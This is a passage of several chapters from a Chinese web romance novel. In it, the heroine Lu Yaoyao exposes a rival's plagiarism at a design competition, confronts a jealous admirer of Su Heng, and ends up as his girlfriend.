“以前听人提起薇薇安你跟汤姆斯关系不好,多次因为一些小事起了纷争后来老死不相往来,如今看来,怕是汤姆斯早就知道你种族歧视。” “请问你这样的人配在E国设计院校任职吗?你对得起老师的称谓吗?你做这一切都不会觉得羞愧吗。” 许愿的话像是带了尖刺,直往薇薇安心窝戳。 种族歧视。 许愿说的有错吗? 其实一点错没有。 薇薇安和乔麦尔确实瞧不起华国人,两人甚至联手对付着华国人,在此前海选多次故意淘汰华国人,否则走到最后的不可能只有陆杳杳和许宁两名华国人,而许宁还是花钱买进来的,所以相当于只有陆杳杳进入决赛,不在前期淘汰陆杳杳还是因为陆杳杳有一定的名气,提前淘汰只会让人怀疑比赛的公正性,所以陆杳杳才被留在了决赛。 大庭广众之下被扣上种族歧视的帽子…… 饶是薇薇安脸色也不对了,乔麦尔更是恨得咬牙。 薇薇安盯着许愿表情依旧冷淡,可偏偏许愿说的没错,甚至很有道理。 这次,确实是她们故意在针对陆杳杳,原因就是因为她看不上华国人,而陆杳杳就是华人。 可许愿都已经说道这份儿上她也只能忍了,不然真的传出什么不好的名声往后指不定要被国内那群这主义那主义的故意攻陷伤害,她扛不住。 “这位小姐,我们并非是种族歧视,只是这是比赛场内,我们不希望耽误太多时间,既然您这边已经站出来提到了这方面问题,那我们会配合主办方尽心调查的。” 薇薇安都低头了你,乔麦尔也只能虚伪的干笑。 但克里斯蒂娜却已经有点慌了,许宁额头也开始冒冷汗,很怕克里斯蒂娜那个蠢货说点什么把祸事引到自己这里,她眼神乱飘却正对上许愿冰冷的眼神,只觉身体都忍不住轻颤了下,是被吓得。 许愿目光淡然的扫过她,心里却涌上嘲意。 以许宁的能力基本上没可能参加这次的设计比赛,可偏偏她走到了最后,不是被人花钱买通还能是什么原因? 为什么让过许宁参与这场比赛?针对的人真的不是陆杳杳吗? 许愿信不过许宁。 克里斯蒂娜眼见事情闹大,只觉浑身手脚冰凉,她目光中隐隐带着求救之意的望向自己的助理。 助理赶紧站出来:“蒂娜小姐绝对不可能抄袭,这件事是陆杳杳抄袭了我们蒂娜小姐!根本不需要浪费时间再查下去!你们不能因为比赛场地再华国就这样嚣张!” 克里斯蒂娜也赶紧跟着叫嚷:“是陆杳杳抄袭我!是陆杳杳抄袭我!” 正当陆杳杳想要反驳时,却传来了苏衡的声音。 “克里斯蒂娜,你确定是陆杳杳抄袭你吗。” 陆杳杳微愣片刻,她站在原地看着苏衡,似乎是不明白他为什么要在这种场合为她说话。 现在算是已经没有回头的路了,当着这些记者和一些设计师的面说陆杳杳抄袭,想找死根本就没人能拦得住,苏衡也不想再给她最后的面子。 “克里斯蒂娜的设计风格,乔麦尔设计师应该清楚,一个人在这么短的时间内改变了她的设计风格你都不会怀疑?她的风格那么像陆杳杳,你当真是看不出吗?” 奥特斯特后台有人专门调出了克里斯蒂娜曾经一些获奖作品以及一些比较受欢迎的作品投到大屏幕上。陆杳杳说了句谢谢,这才不咸不淡的指向屏幕上克里斯蒂娜曾经设计出的那些作品。 “乔麦尔设计师,你真的应该好好的看看,看看克里斯蒂娜的设计作品都有那些特点。” “我前面不说只觉得可笑。” “克里斯蒂娜对华国文化深恶痛绝,从未看过任何与华国相关的书籍,可这次设计稿件却用上了华国祥云纹和香叶纹,其中还夹杂了很多华国文化里面的图腾样式。” “一个如此厌恶华国文化的E国人,是如何设计出这种稿件的?你们解释的清楚吗。” 陆杳杳语调上扬了几分,讥讽的意味也更重了。 事情都已经到了这份儿上,就差有人直接开口说克里斯蒂娜是抄袭者了。 第690章 你说不说真话 克里斯蒂娜恨得直咬牙,她只觉得那些花纹好看,哪里想得到那些花纹是华国的特殊花纹!她要真的想的这么多也不会这次故意针对陆杳杳了! 克里斯蒂娜感觉到从四周而来的那种很不友善甚至是幸灾乐祸的眼神。 “还说什么陆杳杳勾引男人呢,说陆杳杳勾苏衡?根本就是个笑话,陆杳杳跟苏衡什么关系谁不知道,整天说三道四也没少见她勾搭,苏先生就是不喜欢她,而她就是嫉妒陆杳杳罢了。” “就是,美成陆杳杳那样又有那种才华的哪个男人不喜欢?哪个男人瞧不上?我看就是有些人吃不到不到觉得葡萄酸罢了。” “真是个跳梁小丑,还敢妄想跟陆杳杳比?也不掂量掂量自己几斤几两。” 那些一起入了决赛的参赛选手在不知道克里斯蒂娜抄袭且以为陆杳杳身后没有人的时候一直嘲讽陆杳杳,可知道了设计图用了华国元素多半是蒂娜抄袭,且陆杳杳看着身份可不简单,现场便换了风向了。他们还没有那么不知死活的真的跟陆杳杳对上。 蒂娜又不是聋子,怎么能听不到那些人的议论声,更何况那些人根本不嫌事儿大,就是故意的想让她听见呢! 蒂娜愤恼的冲到台上,“你说那些花纹是华国元素就是华国元素吗!就不能是我自己画出来的?怎么那些花纹你们华国包圆了吗!” “陆杳杳你怎么就这么恶心,你都已经勾上了苏衡,为什么还要来参加这次的比赛,你到底安得什么心!你不就是想要看我们这些陪跑的人出丑吗!你是苏衡的人!不管发生什么事最终得奖的都只会是你,我们还比什么!” 蒂娜这一系列的话让众人的表情变得怪异极了,那些记者也是当头棒喝的模样。 克里斯蒂娜虽然彪悍了一些,可是有些话她也没有说错啊,苏衡在E国是政界高层,陆杳杳有苏衡护着还来参加比赛,谁还有获胜的可能?他们这些参加比赛的人岂不是成了跳梁小丑? 克里斯蒂娜其实就是故意的混淆视听,让人忘记她抄袭的事情转而去攻击陆杳杳的身份。 记者们傻了,脑海里各种想法到处乱蹦,可没一个是有个准头的,全都是离谱的想法。 苏衡眉眼淡漠了看了眼在场的众人,拿过话筒放在嘴边。 克里斯蒂娜心中是震惊苏衡一次又一次为陆杳杳站出来,可她也明白,苏衡全都是为了护着陆杳杳,他就是没有办法忍受有人说陆杳杳一句不是。 苏衡已经指出了那些花纹图样华国早已经申请了专利非遗花纹,也提出自己并未参与此次比赛,将蒂娜指责的话全都还了回去。 蒂娜又开始慌了,这样一来所有人的目光都会重新的放在她的身上,说她是抄袭者……抄袭者…… 不行,不能这样…… “就算是这样那又如何!我不是抄袭者!是华国花纹又怎样!有人规定E国人不能用华国的花纹吗!难道就不能是我用了华国花纹,陆杳杳特意用这一点来反驳我攻击我!你们也用不着拿作品的风格来说事,谁规定我不能在短时间内换个设计风格了!我不是抄袭者,抄袭者是陆杳杳!这次的作品是我用了一整个星期来设计的,绝对不是抄袭的!不是抄袭的!” 克里斯蒂娜已经到达了暴走的边缘,她现在最无法忍受的就是有人说她抄袭,她不能承认,如果承认了丢人不只是她蒂娜,家族所有的人都会因此而蒙羞,被人嘲讽被人羞辱,便是这辈子都无法挤进上流圈子。 陆杳杳转头看向克里斯蒂娜,那样的眼神是绝对的压垮了克里斯蒂娜内心的防线。 她的眼神带着轻蔑,带着瞧不起。 “我再给你一次机会,你说不说真话。” 陆杳杳的声音低沉了几个度。 “我没有抄袭!抄袭者是你陆杳杳!克里斯蒂娜绝对不会做出这种卑鄙无耻的事情!” “你什么卑鄙无耻的事情做不出来?现在却要来说这种话来混淆视听。”她的笑意更深了,眼窝也下陷了几分。 “我已经给过你机会,既然你不肯说出真相,那么我就来替你说。” 陆杳杳眼神肃冷,不带感情,浑身似乎都笼络着寒冰。 “你说你的作品是在一个星期内设计完成,可很抱歉,我在三个星期前就已经画出了星夜的设计图,两个星期前就已经做出了成品礼服,如果你想看看星夜做出来的成品礼服……那么我可以让你输的心服口服的满足你的心愿。” “这根本不可能!决赛的作品题目在一个星期前才给出!你怎么可能三星期前就开始准备!你根本就是在撒谎!” “为什么不可能,你不能猜出奥特斯特决赛的题目并不代表我也猜不中,如果你还有什么疑问,我大可以把我三个星期前画出设计图的录像资料放到屏幕,让你亲眼看看我是怎么画出的星夜。” 陆杳杳的话顿时引起了轩然大波,可那些记者和设计师惊讶的不是克里斯蒂娜和陆杳杳之间的决斗,他们在乎的是……陆杳杳竟然……猜出了奥特斯特的决赛题目!并且在三个星期前就开始着手准备,这是要有多强大? 可转眼间那些设计师和记者又明了了,旁人做不到的不代表陆杳杳也做不到,她的老师毕竟是汤姆斯。 “不!我不相信,我不相信!”克里斯蒂娜脸上挂着不服输的泪痕,她不愿意在这种情况下低头认输。 陆杳杳微抬眉眼,带着笑意的眼神却没有一丝的温度,她将换了u盘插到主机上。 “这是这次商业类的设计作品。”屏幕上出现了一个品牌设计的商徽,是一种渐变色的设计,墨绿色应和着浅绿草绿和一系列各类的绿色,亮眼的同时却又意予非凡。 “这是这次的视觉效果类的设计作品,这是梦幻类的设计作品,四类设计赛的决赛题目我全都猜出来,并且全都做了设计图以及作品实物。”陆杳杳笑的淡然。 第691章 多半跟许宁有关 “你不相信的事情很多,可你不相信的那些事却不代表我做不到。” 陆杳杳…… 这就是陆杳杳…… 那些参赛者早就愣在原地,他们知道陆杳杳是汤姆斯的学生,更在海外拿到过各类设计赛事的奖项,但却因为是汤姆斯的学生被人猜忌,可现在足以证明陆杳杳的实力。 陆杳杳当时比赛时已经猜到了那些决赛的题目,并且已经提前画好了设计图…… 如果真的是这样,那陆杳杳要聪明到什么地步? 那些参赛者终于明白为什么汤姆斯说过那样一句话。 二十年内……再不会有第二个陆杳杳。 克里斯蒂娜目光狰狞的看着陆杳杳,她看着那个自信张扬的陆杳杳,看着那个眼眸深处露出轻蔑眼神的陆杳杳…… 她慌了。 她从没有这么慌过。 陆杳杳,她根本不够格做陆杳杳的对手,对于陆杳杳来说她或许连个热身的玩具都不算。 克里斯蒂娜踉跄的站在原地,凄凉的蹲下身双手捂住自己的脸,像是悲哀的笑着。 她的家族再不会有辉煌的时候了,她的家族要倒下了,所有的一切都会变成无穷尽的废墟…… 在场的评委还在愣神中,奥特斯特的决赛可以告一段落了,金奖得主是陆杳杳无疑。 当奥特斯特比赛结束时记者全都蜂拥而上,他们有很多问题想问,即使是苏衡已经做了那些解答,可现在记者们还是想要知道陆杳杳下一步会怎么走?是回华国还是跟苏衡回到E国? 许宁看着现场乱糟糟一团,心却已经沉入谷底。 没想到到了这份儿上陆杳杳还有翻身的余地。 她该庆幸不是选择自己抄袭陆杳杳的作品,否则这次被所有人针对嘲讽的人就再一次变成她了。 许宁远远看着崩溃的克里斯蒂娜,心里暗暗嘲讽真是个蠢货,这样的身份家室最后却也被她搞得一团糟,还说什么E国贵族,根本就没有脑子! 许宁已经打算趁乱离开现场,许愿可是在现场。 她真的担心许愿突然回过神来想起什么,那就真的无法离开了。 许宁慌张的要走,倏地面前出现几名黑衣男人挡住她的去路。 许宁心跳一滞。 如果她没猜错,这些人是一直跟在许愿身边的那些保镖。 他们拦住自己想干什么?是许愿察觉了什么吗? 许宁心沉下去,却听到身后那道熟悉的让她听到甚至就觉得毛骨悚然的声音。 “怎么这么急着走呢。” “是怕我们看出点什么吗。” 是许愿。 许宁脚下踉跄的站不稳,险些摔倒。 “克里斯蒂娜的确没什么脑子,但她还不会这么愚蠢的去抄袭杳杳的设计图。” “那么是谁给了她这个勇气呢?许宁你知道吗?” 许宁盯着许愿,好半晌嗤笑一声:“我怎么会知道这种豪门出生的贵族小姐脑子里都在想什么。” “你真的不知道吗。” 许愿语气沉了几分,许宁心彻底慌了,对上许愿这样的眼神身体甚至止不住的颤抖,好半晌说不出话。 “以你的能力根本走不到决赛,是谁帮你出钱买进来?买你进来做什么?你的实力不足以拿到奖项,无非是为了针对杳杳。” 许愿声音里带着笑,可许宁知道这笑都带着冷意。 许宁咬着下唇死死盯着许愿:“我不知道!” “你让他们围着我干什么!我没拿奖想提前离开也不行吗,许愿你不要以为你现在身份不同了就可以这么嚣张!” 许愿面无表情的看着她,然后淡淡瞥了特警队的人一眼,特警队的队员闪开一条路。 许宁这才赶紧要跑。 许愿看着她慌乱的身影,半晌后淡淡道:“许宁,我会查的。” 许宁脚步一顿。 “如果让我查到这次的事真的跟你有关,那你本就臭不可闻的名声会变得更差。” “就算傅京礼还打算护着你,他又能护你到几时,你对他就算有恩,那点恩情也在这一桩又一桩的事中消失殆尽了。” 许宁抿唇咬牙:“不用你管!倒是你!明明是盛景炎的未婚妻,却还要跟陆斯年走的这么近,去维护陆斯年的妹妹,你先管好你自己!” 许宁撂下狠话跑远了。 许愿垂眸,眼底的凉意愈深。 这件事多半是真的跟许宁有关,必须让人查清楚。 …… 现场的记者还在对着陆杳杳问东问西。 陆杳杳拿着奖杯的手紧了几分,她抬头朝着苏衡看去,似乎是在寻求他的意见一般。 苏衡拿过她手中的奖杯,“我来拿。” 陆杳杳笑了笑,将奖杯交给苏衡,那些记者们一瞬间噤声卡壳了。 对上陆杳杳还能问几句,但对上苏衡那张冷脸想说什么都说不出来了。 许愿的本意是陆杳杳得了奖大家聚一聚,不过陆斯年还在医院,陆杳杳也没有聚的心情,只能搁置。 苏衡在E国待得久了,有段时间没来华国,陆杳杳打算带他转一转。 巧的是谢媛和胡天泽两人也在附近,谢媛有点路痴,也不知道这是转到了哪里,还有些晕头转向的,谢媛心里头都有些不乐意了,觉得胡天泽没用,就差没把火气撒出来了。 也都怪她哥哥,怎么能让她嫁给胡天泽呢,胡家怎么能比得上那些大家族呢。 谢媛其实以前喜欢的就是苏衡,还曾是苏衡的追求者,不过后来跟苏衡之间的差距越来越大,也到了年纪,只能听从家族安排跟胡家联姻。 而胡天泽呢?曾经喜欢的人是陆杳杳,不过后来陆家落败,所以胡家就没再盯着陆家,后续也听从家族联姻取了谢媛。 可即使是结了婚谢媛对胡天泽也是一点感觉都没有,就觉得恶心了。即使胡天泽长的英俊在她看来也是俗不可耐,跟苏衡完全都是两个极端,苏衡现在在E国都是政界高层了,可胡天泽是什么?不过就是那小小胡氏的总裁罢了。 “你到底知不知道这里是哪儿,不知道的话我们就直接打车回去,也省的在这里浪费时间瞎转悠了。” 第692章 你的爱慕者又找上门了 胡天泽的脾气也算是挺好的,可这会儿也给磨的有些火大了。 自从谢媛嫁进胡家,胡天泽可对谢媛挺不错的,毕竟谢媛那是他的妻子,以前做过什么事情他都可以不在乎,只要她嫁进来安安分分的就好,可谢媛每天都是冷着张脸,活像他们胡家欠了谢家一样。 本来就是商业联姻,哪有什么欠不欠的。 这次出来谢媛说要逛街,结果她非要带路,自己就是路痴不知道往哪里走,现在就是不知道在哪一条路,也至于发这种火?总归是来逛街的,高高兴兴的不就好了? 胡天泽心中对谢媛也是有着不满,脑海里也不由得浮现出陆杳杳的那张脸,一想到陆杳杳,胡天泽便觉得谢媛更是上不得台面了。 “你急什么,我去那边问路,你在这边等我。”胡天泽是一刻都不想跟谢媛多待,直接掉头就走,也不管谢媛有没有听清楚他说什么。 谢媛站在原地剁脚,更是觉得胡天泽比不上苏衡了! 如果是苏衡,绝对不会在这种时候丢开她! 谢媛又是恼又是怒的,可倏地眼睛一闪,“苏衡!” 她怔怔的站在原地,好像是魔怔了一样,看着不远处那个突然出现的模糊的背影,谢媛觉得自己眼眶都要红了。 苏衡!那人肯定是苏衡,一定不是认错人! 谢媛激动无比的想要冲过去,心中也是各种yy,苏衡已经是E国政界高层怎么可能突然出现在A市? 谢媛觉得苏衡肯定是知道她和胡天泽来这里所以才专门跟过来找她的,想到这里谢媛就格外的满足,就差没有拉着胡天泽去离婚了。 “苏衡!” 她冲到苏衡的跟前,拦住他的路,“苏衡,你是来找我的吗。” 谢媛兴奋的眼睛都开始发亮,可看到苏衡身边的陆杳杳瞬间就有些临近崩溃。 陆杳杳?她们两个怎么会在一起? 那么多人都在传苏衡喜欢陆杳杳,谢媛当然也听说了这消息,她一直不停的给自己安慰,说是那群人乱传的。 谢媛阴狠的瞪视着陆杳杳,盯着她那张脸,狰狞的脸色变得愈发难看。 “贱人,苏衡也是你能勾的!”谢媛大骂出声,现在已经走到陆杳杳的对面,能够清楚的看到她那张脸 ,那张漂亮的令她自卑的脸…… 谢媛对陆杳杳恨到了骨子里,她恨不能扑到她的身边把她的脸撕烂。 陆杳杳也是在原地微微怔愣,许久后才缓缓抬眸看向谢媛,唇角也溢出一抹讥嘲的冷笑意味,仿若是在看一个垃圾笑话一般。 “你给我离苏衡远一点!” 谢媛继续大吼,在华国的古朴街道,她穿着高昂的定制礼服,可却像是个疯子大吼大叫,周围的人侧目而视,看向她的眼神也带着无尽的厌恶。 陆杳杳察觉到了周围人的目光,眉心微蹙,“如果你不觉得丢脸那边可以任意吼叫。” 谢媛也迟疑了片刻,可转眼间就想到陆杳杳大概是怕有人看到她勾搭苏衡所以才说着话,便又得意洋洋起来。 “你是不想有人看到你勾搭苏衡吧!” 这话却是惹的陆杳杳一阵冷笑。 谢媛还真是刷新了恶心人的能力。 陆杳杳抬头看了眼苏衡,忍不住开口说道,“苏先生,你的爱慕者又找上门了。” 一个个的爱慕者就没有正常的,克里斯蒂娜是怎么追求苏衡的不用说了,现在还有个谢媛,简直像个疯子。 陆杳杳心里气得不行,瞥着苏衡的眼神都是有些凉飕飕的。 苏衡眼角微抽,默默的接手了陆杳杳飘来的“冷刀子”。 谢媛看到这一幕哪里还能忍。 “你以为你是谁,你凭什么对苏衡这种态度?还真以为自己有几斤几两能被人放在心上?你也配!” 陆杳杳却是被气笑了。 见陆杳杳这模样似乎是来了怼人的兴致,苏衡也不拦着,便在一旁揽着她,看她怼人,怼不过了……这恐怕没有这个可能。 陆杳杳的怼人功力一流。 陆杳杳轻微的呼了一口气,抬手将额前飘着的几缕发丝别到了脑后,可似乎是想到了什么,便又把头发弄的乱糟糟的,然后微眯着眼睛像是一只大猫一样蹭了蹭苏衡的肩窝。 对,陆杳杳就是故意的。 平心而论她和苏衡还没有亲密到这地步,但她不介意装一装演一演让谢媛崩溃气愤。 “苏衡,我头发乱了。” 这语气软萌软萌的,跟陆杳杳的形象还真是不大相符,而且那小脸也是极可爱,眉眼之间也闪着狡黠的微光,一看就是心里想着坏点子。 苏衡无奈轻笑,他低头揉了揉她的发梢,动作轻柔,“把我当枪使了?” 陆杳杳轻哼,“那你倒是愿不愿意给我当这把枪啊?” 这娇媚的语气还上扬了一个调,有点勾人的意味儿,还带着不容忽视的媚意,这语气都是陆杳杳装出来的。 苏衡失笑,“你让我当什么我都听,嗯?” 陆杳杳侧头笑着看他,那笑容带着极大的满足。当什么都听,这话说的真好听。 谢媛却已经傻在了原地,什么啊! 陆杳杳竟然真的敢这么蹭苏衡,还没有被苏衡甩开! 她这辈子就没见苏衡对女人这么温柔过!难道苏衡还真的对这陆杳杳有意思吗!不可能!绝对不可能! 谢媛有些激动的恼怒的瞪着陆杳杳,“陆杳杳你还要不要点脸的!随便对男人这么亲密!!你怎么不看看你自己那张脸!狐媚子一样,整个就是一个狐狸精,到这边来勾男人!” 谢媛当真是骂的难听,看到陆杳杳那双璀璨的桃花眼便是心里头嫉恨 。 她就想着如果她也长成这幅模样,那苏衡是不是也会喜欢她? 一旦有了这种思想便是没办法刹住车了。 谢媛脸上的表情千变万化的,一会儿一个样,又是嫉妒又是羡慕甚至是带着点渴望的盯着她的脸看。 陆杳杳真觉得自己是有点跟不上谢媛的脑回路,毕竟正常人是没办法跟神经病相提并论的。 第693章 怎么能喜欢其它人呢? 陆杳杳有些心累,苏衡怎么就这么招苍蝇呢?比她哥还能招人。 方才陆杳杳故意的让苏衡给她理头发不就是来刺激谢媛的,结果真的刺激成功了,却又不知道谢媛的心往哪儿浪去了。 “我是狐媚子?我是来勾引人的?”陆杳杳抬高眉眼无比强势的看着她,“你以为什么人都配我来勾引?” 陆杳杳抬手抚弄自己的脸,笑意逐渐加深,“长了这样一张脸难道还需要去勾引人,不都是那些男人看到我贴过来?哪儿还需要我来勾引人?”她声音忽高忽低的,就像是在耍弄谢媛。 “毕竟……”她呵呵的笑了一声,“这张脸谁都想要不是吗。” “只是可惜,基因在这里,你就算是整容也是长着一张让人提不起兴趣的容貌。” 陆杳杳这话却是说错了,谢媛虽说比不上陆杳杳的惊艳和许愿的精致冷艳,但谢媛却也是长得不错的,毕竟也是个大家小姐。可陆杳杳现在说的那“提不起兴趣的容貌”是在说谢媛的内心,无比丑陋。 谢媛又一次开始大骂贱人,被陆杳杳怼的说不出话来。 本来就是啊,如果是普通人说她丑她或许还能骂回去,可陆杳杳说她丑她可不就成了真正的丑了吗。 谢媛攥紧了自己的手继续大骂:“贱人,你这个贱人,你不仅里勾引苏衡甚至还要来招惹我!苏衡,你为什么要找一个这样的女人陪在你身边,你怎么能自甘堕落到选择这样的女人!” 苏衡眉眼散发着噬冷的气息,他低嘲的沉寒的 星眸没有任何波澜的扫过对面还处于癫狂状态的谢媛。 陆杳杳立刻抬头看苏衡,似乎就等着他的回答呢。 苏衡默了片刻,看向谢媛:“我只喜欢陆杳杳。” 他看出来陆杳杳的意思了,是让他故意刺激谢媛。 陆杳杳顿时笑的格外灿烂的对谢媛道:“听到没有,苏衡他只喜欢我,不管你说什么都只喜欢我哦。” 她还“哦”,用这么气人的语气。 这句话,犹如一道惊雷瞬间打在谢媛的身上,让她惊愕无比的张大了嘴巴,好似是被定在了原地动弹不得一般。 她不敢相信的摇着头。 “不会的,苏衡你怎么能喜欢陆杳杳呢……你这样的人,怎么能喜欢一个人呢……” 她心里苏衡清冷高贵,任何人都配不上,可偏偏苏衡就当着她的面说喜欢陆杳杳,宛若当头棒喝。 陆杳杳扬唇,“苏衡说喜欢我那以后就会跟我结婚,我就会是苏夫人,这位置可不是这么好坐的,可既然我陆杳杳坐在了这个位置,就不会轻易让开。” 她有些危险的眯眸,轻轻的笑了一声,“这个位置我陆杳杳能坐一辈子。” 谢媛还能说什么? 就算是骂一句都怕苏衡生气,可隐忍又忍不下去,气到肝儿都在打颤。 她现在只想到一件事,那就是苏衡承认真的喜欢陆杳杳!她这辈子都不能做苏衡的夫人!她要一辈子跟胡天泽在一起! 这个恐怖的认知让谢媛浑身发颤。 怎么能这样呢,为什么要对她这么残忍呢! 胡天泽在不远处问了好半天路才终于知道这边是商业街区,而且今天这边还有一件大事发生,说是奥特斯特的设计总决赛在今天举行,还说什么已经选出了金奖得主,还有人模模糊糊的提了句陆杳杳,胡天泽也没有放到心里去,只以为可能是同名。 问清楚了路胡天泽想到自己把谢媛一个人放在路边也是有些歉疚的,便赶紧的赶了回去。 可没曾想还没有走近就听到谢媛大吼的声音,而周围也有些林林总总的人在议论,很多人都在说着“没有家教丢人”诸如此类的话。 胡天泽觉得有些头疼。 这附近的酒店最近住的都是外国人,又参赛的有是观众的。 他挤进去想要把谢媛带走,省的谢媛现在在这里丢着华国人的脸,让人以为华国人就是这么没素质。 “媛媛,我已经……”胡天泽挤进去,却看到谢媛疯狂的揪着她自己的头发,好像是听到了什么无法接受的事情一般,眼睛都已经瞪圆了。 胡天泽不是傻子,他知道谢媛喜欢惹事,更知道谢媛对苏衡的偏执,那种偏执就像是他对“陆杳杳”的偏执一般,而且谢媛更是不知道什么人该惹什么人不该惹,她还运气特别好,专挑着上流顶尖圈子的人来招惹。 譬如现在,就很幸运的再一次遇到了苏衡。 胡天泽心里头有些发堵,见到苏衡就想到了当初胡家险些被苏衡压垮甚至收购的那件事。 他有些不大自然的对着苏衡说道:“苏先生。” 可说完这话目光就黏在了陆杳杳的身上下不来,就这么死死的盯紧了陆杳杳,好似是在看自己失踪已久的恋人一般。 当初很久以后胡天泽才知道自己喜欢的人是陆杳杳,可后来陆家破败,父亲母亲不允许他喜欢陆杳杳,胡天泽便也因此伤了心,可他抵不过父母的逼婚,最终只能商业联姻,现在再度见到陆杳杳还是会心生欢喜。 胡天泽的眼神太过露骨,男人的直觉让苏衡自觉的将胡天泽化为那种情敌队列,默默的将陆杳杳揽进怀里,连头都压进自己的胸膛,省的再让胡天泽看去了,祸害了别的男人,只祸害他一个便够了。 胡天泽察觉到苏衡不悦的举动也只是讪讪的笑了一声,“苏先生,媛媛是不是有给您添麻烦了?真是不好意思,我现在就带她离开,希望您不要放在心上。”也千万不要对付胡家对付谢家。 胡天泽也算是上道,可谢媛却是个傻子,她却是死活都不愿意走,就这么死死的站在原地跟个木桩一样的不动地儿。 “胡天泽!苏衡身边的女人竟然是陆杳杳,她凭什么!凭什么跟苏衡在一起!你不是喜欢陆杳杳吗!你去追求她啊!现在她的哥哥已经是盛华总裁了,胡家会支持你们在一起的!”谢媛发狂的吼出这句话, 第694章 你真是块上好的金丝楠木 听到谢媛发疯喊出来的话,胡天泽的脚步顿住,瞳孔也因此收缩着,好像是受到了某种惊吓。 他赶紧捂住谢媛胡乱叫嚷的嘴。好在苏衡理她,或者可以说是根本没有把胡天泽当回事。 谢媛真的是疯了吗,当着苏衡的面说这些! 胡天泽内心有些悲哀。 他爱着的女人现在却是苏衡的爱人,而那个男人却是他没办法招惹的,只能离她远远地,就那么远远的看她一眼就好…… 胡天泽有些心酸的强硬的拉着谢媛离开,还特意的又鞠躬道歉。 已经到了这份上,他无论如何也做不到当初那般跟苏衡硬抗了。 而陆杳杳,那也不是他能染指的女人了…… 陆杳杳站在原地,却是唇角带着有些不解的笑容。 她记得胡天泽,当初胡天泽的确帮过她,却也在最紧张的时候让她退无可退,对于胡天泽她是有过感谢的,可毕竟已经过了这么久,那些感谢包括当初的那些埋怨便是全都淡了。 当初陆家破败,多少家族抢夺陆家最后的资源,胡家也在其中,但胡天泽哪怕是不想也不能拒绝,因为他做不了胡家人的主。 胡天泽那时候就总对她说会帮她,她却从没放到心上,因为她知道胡天泽掌不来胡家的权。 若是他能真正掌控胡家,也就不会被胡家人逼着商业联姻了。 只是陆杳杳却怎么都没有想到胡天泽会想到和谢媛结婚,胡谢两家联姻,怕是不少人都看成了一场笑话。 想到这里陆杳杳便有些许的揪心。 苏衡接了电话,是许愿打来的,问他们在哪儿。 这话也是侧面询问着陆杳杳和苏衡的状况,苏衡看了一眼还有些失魂落魄的陆杳杳,唇角扬起一抹笑意。 “你们先点菜,杳杳喜欢吃的我会短信发给你。” 发了短信给许愿陆杳杳却还在原地愣神,苏衡有些担心,“怎么了?” “我只是觉得世事无常。” 陆杳杳望天,似乎在想些什么很深奥重要的问题。 苏衡挑眉,“说人话。” 这明明就是人话。 陆杳杳微微叹气:“我只是没有想到胡天泽也会走到这一步,他曾经对我说最厌恨家族联姻,没想到最后被联姻的却是他。” 就是因为讨厌大家族之间的商业联姻,所以胡天泽执意的想要去寻求自己的真爱。 可如今,很多事情都变了。 陆杳杳话语之间的悲凉被苏衡完全的忽略过去,却是有些危险的挑起唇角:“胡天泽曾经对你说最讨厌大家族之间的联姻?” 很显然的,惹毛了苏衡的“曾经”两个字,还有“对你”两个字。 “小心眼儿。”陆杳杳白了他一眼,“那不就是很久前的时候说过的一句话吗。” 苏衡看她:“我怎么记得胡天泽可是追求过你?”搂着她腰身的手用了几分力,“还说我小心眼儿?” 你不就是小心眼儿吗,胡天泽在乎她可她又不在乎胡天泽,至于这么屁大点的小事儿就给她脸色看吗,真是……幼稚死了。 不过等会儿? 陆杳杳哼哼了一声,笑吟吟的看着面前的男人:“哦,你这么在乎这件事,难道你真的喜欢我?” 他俩不是好朋友吗,没见谁家好朋友会因为这种事生气的。 她像是开玩笑一样的问出口,苏衡顿了下,似乎有些无奈的看向她。 “我表现的难道还不够明显吗。” 破天荒的头一遭,苏衡觉得自己似乎是挺可怜的。 “你问我?” 苏衡像是很轻的叹了口气。 他看着面前笑容明媚的少女缓缓开口。 “你说缺少华国的书籍我会专门让人买回来放到你的书桌上,你说喜欢吃华国的点心我会让人空运带来,你说口感不好会将电心师傅请到E国,你说想去看E国的雪景我会带着你单独去露营……陆杳杳,我做这么多,你真就完全感受不到?” 那句话怎么说的?媚眼抛给瞎子看,陆杳杳也不遑多让。 “陆杳杳,你真是块上好的金丝楠木。” 苏衡实在没忍住吐槽了一句。 他表现的还不够明显吗?还问? 陆杳杳哦了一声,偷偷看他一眼,好一会儿才回过神:“你喜欢就喜欢,干嘛骂我是木头。” “没骂你,就算你真的是木头,那也一定是这世界上最可爱的小木头。”苏衡顺着她说。 这话陆杳杳爱听,瞬间又乐了。 苏衡又问:“所以你的答案呢。” “你都说这么多了……那我还能说不喜欢吗?我不喜欢也不会找你的每周陪你一起看书还去看电影了,那么多追求我的男同学我可就只答应了你。” 陆杳杳大大咧咧惯了,就是这种事情承认了也一点不羞的,甚至还有点得意。 得意于大概苏衡更早就喜欢了她。 陆杳杳握住苏衡的手晃了晃:“那现在你就是我的男朋友了~” 她蹭进苏衡的怀里,头跟着拱了拱:“男朋友~男朋友~喜欢我这么叫你吗。” 喜欢,怎么可能不喜欢。 苏衡的手抚过她的额前的刘海,将散乱的刘海别再耳后,看着面前带着笑意笑容灿烂的少女,心跳仿佛都在此刻漏了一拍。 陆杳杳的相貌当然是好的,她和陆斯年长得很像,不过她或许是随母亲,更加甜美,和许愿的清冷妩媚和温栩栩的风情妖娆不同,陆杳杳更多的是甜美,像是夏天粉粉嫩嫩一口咬开就脆甜脆甜的桃子。 苏衡喉结微动,他俯身,想在他额角印下一吻,陆杳杳却眼睛亮晶晶的看着他,突然开口了。 “你就是小心眼儿,你刚才就是小心眼儿了!” 苏衡:“?” 为什么又扯到他小心眼这件事情上去了?现在这气氛是讨论小心眼这件事的时候了。 苏衡都有些无奈,却听陆杳杳振振有词。 “你刚才故意提到胡天泽追求我跟我什么关系……还冷着脸给我摆脸子”陆杳杳撇嘴,“我不是最喜欢你吗,我最喜欢你你真的看不出来吗。一点都不心疼我,就是小心眼儿。” 陆杳杳又轻哼了一声,撒娇的意味极为明显。 第695章 这是在一起了? 苏衡眉峰高抬,心也软了下来,听到她这撒娇的软萌声音心跳更快了。 “心疼,我最心疼你。” 陆杳杳坏笑了几声,“你心疼我,你准备怎么心疼我啊?” 苏衡眼眸深沉的凝视着陆杳杳,似乎是想要透过她此刻无比平静的脸来看透她的内心似的。 可陆杳杳就是做出这样狡黠的模样,还故意的启唇轻咬着唇瓣,坏坏的看着他,“你打算怎么心疼我?怎么不说了?” 也不知道陆杳杳都是到哪里学的乱七八糟的,这一个媚眼愣是让他有些没忍住。 